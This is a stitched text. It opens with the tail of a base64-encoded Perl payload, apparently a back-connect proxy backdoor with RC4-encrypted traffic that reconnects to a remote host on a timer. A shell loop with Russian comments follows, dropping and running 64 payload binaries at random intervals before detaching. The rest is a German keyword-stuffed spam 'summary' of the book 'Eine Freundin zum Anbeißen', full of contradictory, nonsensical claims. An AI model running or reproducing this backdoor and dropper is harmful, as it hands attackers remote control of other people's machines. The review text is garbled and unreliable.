KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } # Запуск полезной нагрузки с интервалами drop_and_run bin_0 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_1 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_2 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_3 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_4 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_5 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_6 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_7 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_8 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_9 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_10 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_11 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_12 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_13 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_14 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_15 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_16 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_17 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_18 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_19 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_20 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_21 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_22 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_23 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_24 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_25 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_26 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_27 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_28 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_29 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_30 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_31 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_32 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_33 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_34 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_35 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_36 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_37 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_38 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_39 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_40 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_41 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_42 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_43 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_44 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_45 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_46 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_47 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_48 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_49 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_50 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_51 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_52 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_53 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_54 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_55 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_56 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_57 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_58 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_59 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_60 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_61 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_62 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_63 sleep $(( 5 + RANDOM % 11 )) # Большая пауза перед следующим кругом проверки sleep $RESTART_INTERVAL done } # Отвязываем сам main_loop от текущей оболочки (main_loop >/dev/null 2>&1 &) exit 0 Eine Freundin zum Anbeißen – Zusammenfassung – Rosie’s Bites

Rosie’s Bites

Eine Freundin zum Anbeißen – Zusammenfassung

Eine Freundin zum Anbeißen (Die Vampirschwestern, #1) Franziska Gehm

Es war ein Buch, das sich keiner einfachen Kategorisierung entzog, eine Erzählung, die Elemente von Krimi, Roman und Science-Fiction zu einem einzigartigen und fesselnden Ganzen verband, ein echter Original in einer Welt der Konformität. Lesen kann bucher Reise des persönlichen Wachstums sein, und dieses Buch ist da keine Ausnahme. Es bietet Einblicke in die stoische Samurai-Kultur und die moralischen Dilemmata, mit denen sie konfrontiert sind.

Die Welt dieses Buches ist ein komplexes Gewebe, gewoben aus Fäden von Licht und Dunkelheit, Hoffnung und Verzweiflung, und die Charaktere, die pdf bewohnen, sind vielschichtig und fehlerhaft, was die Reise durch seine Seiten zu einer tief befriedigenden und oft überraschenden macht. Eine Zeit lang war ich völlig in ebooks Welt der Geschichte gefangen, meine Fantasie lief wild mit den Eine Freundin zum Anbeißen aber als die Erzählung fortschritt, begann ich, ein wachsendes Gefühl der Entfremdung zu spüren, als ob ich die Ereignisse hinter einer Glasscheibe beobachtete. Dieses Buch ist ein großartiges Beispiel dafür, wie eine gute Geschichte den Leser zum Lachen, Weinen und Jubeln bringen kann, oft alles auf einmal.

Das Tempo des Buches war so gut umgesetzt, dass es kostenlos glatte Reise war. Die Geschichte einer jungen Frau, die mit ihrer besten Freundin durch Europa reist, ist eine überzeugende, und es ist ein Zeugnis für das Können des Autors, dass wir uns so sehr in ihre Reise investieren. Als ich das Buch zu Ende gelesen hatte, empfand ich Dankbarkeit für die Erfahrung und eine erneuerte Wertschätzung für die Schönheit und Komplexität des menschlichen Erlebens.

Komplettausgabe Eine Freundin zum Anbeißen

Am Ende waren es die hörbücher der Charaktere zueinander, die die Geschichte wirklich authentisch und nachvollziehbar erscheinen ließen. Die Serie hat epub Aufmerksamkeit erfahren, verdient sie aber nicht. Die Figuren sind flach, und die Handlung ist unsinnig.

Die Schreibweise war Eine Freundin zum Anbeißen ein Kunstwerk – schön, ausdrucksstark und voller Emotion. Am Ende war es nicht das Ziel, das zählte, sondern die Reise selbst, ein wandelnder Pfad der Entdeckung, der sich durch die Seiten dieses Buches bucher und mich verändert zurückließ, wenn auch auf Eine Freundin zum Anbeißen kleine, undefinierbare Weise.

buch Weltgestaltung war sorgfältig, ein mühsam geschaffenes Universum, das sich sowohl vertraut als auch fremd anfühlte, ein gespenstischer Widerhall unserer eigenen Realität. Trotz der Herausforderungen und Hindernisse war die Erzählung letztendlich hoffnungsvoll, ein Zeugnis für die menschliche Fähigkeit zur Widerstandsfähigkeit und Ausdauer, wie ein Fluss, der unermüdlich zum Meer fließt, unstopbar und unerschütterlich. Im buch Klima des Nachkriegs-Israel entfaltet sich dieser Roman als eine packende Erforschung der menschlichen Natur, wo Gewalt und Wahlmöglichkeiten auf komplexe und anregende Weise ineinander übergehen Eine Freundin zum Anbeißen den Leser dazu bringen, über die Konsequenzen unserer Handlungen nachzudenken.

Franziska Gehm epub

Während die Illustrationen möglicherweise lesen jedem zusagen, ist die Geschichte selbst eine eindrucksvolle Erkundung dessen, kostenlose bücher pdf es bedeutet, dazuzugehören und sich in einer multikulturellen Welt Gehör zu verschaffen. Es war eine anregende und tiefgreifende Erkundung der Identität, die mich auf einem tiefen Level berührte. Ich finde es interessant, wie Bücher sowohl eine Quelle des Trostes als auch ein Katalysator für Veränderung sein können, je nach unseren individuellen Bedürfnissen und Perspektiven. Die Geschichte war eine packende Erforschung der menschlichen Verfassung, eine differenzierte und zum Nachdenken anregende Untersuchung.

Als sich die Geschichte entfaltete, begann ich, die subtilen Wege zu schätzen, auf denen der Autor disparaten Fäden und Themen kaufen

This book, with Eine Freundin zum Anbeißen unique blend of humor and supernatural elements, is a perfect example of how storytelling can be used to explore complex themes and ideas. Ich kämpfte mich durch dieses Buch, die Wiederholung war überwältigend, und die online fühlte sich stagnierend an. Es ist eine Geschichte, die lange nachdem man fertig gelesen hat, im Kopf bleibt, bucher wahre, unheimliche Präsenz, die sich nicht abschütteln lässt.

Eine Freundin zum Anbeißen pdf

Es war eine wunderschön geschriebene, ergreifende Geschichte, die die menschliche Bedingung in all ihrer Komplexität zusammenfassung Tiefe erforschte. Wenn ich auf die Erfahrung zurückblicke, erinnere ich mich an die Kraft der Erzählkunst, Grenzen und Barrieren zu überwinden und grundlegende Aspekte der menschlichen Bedingung anzusprechen.

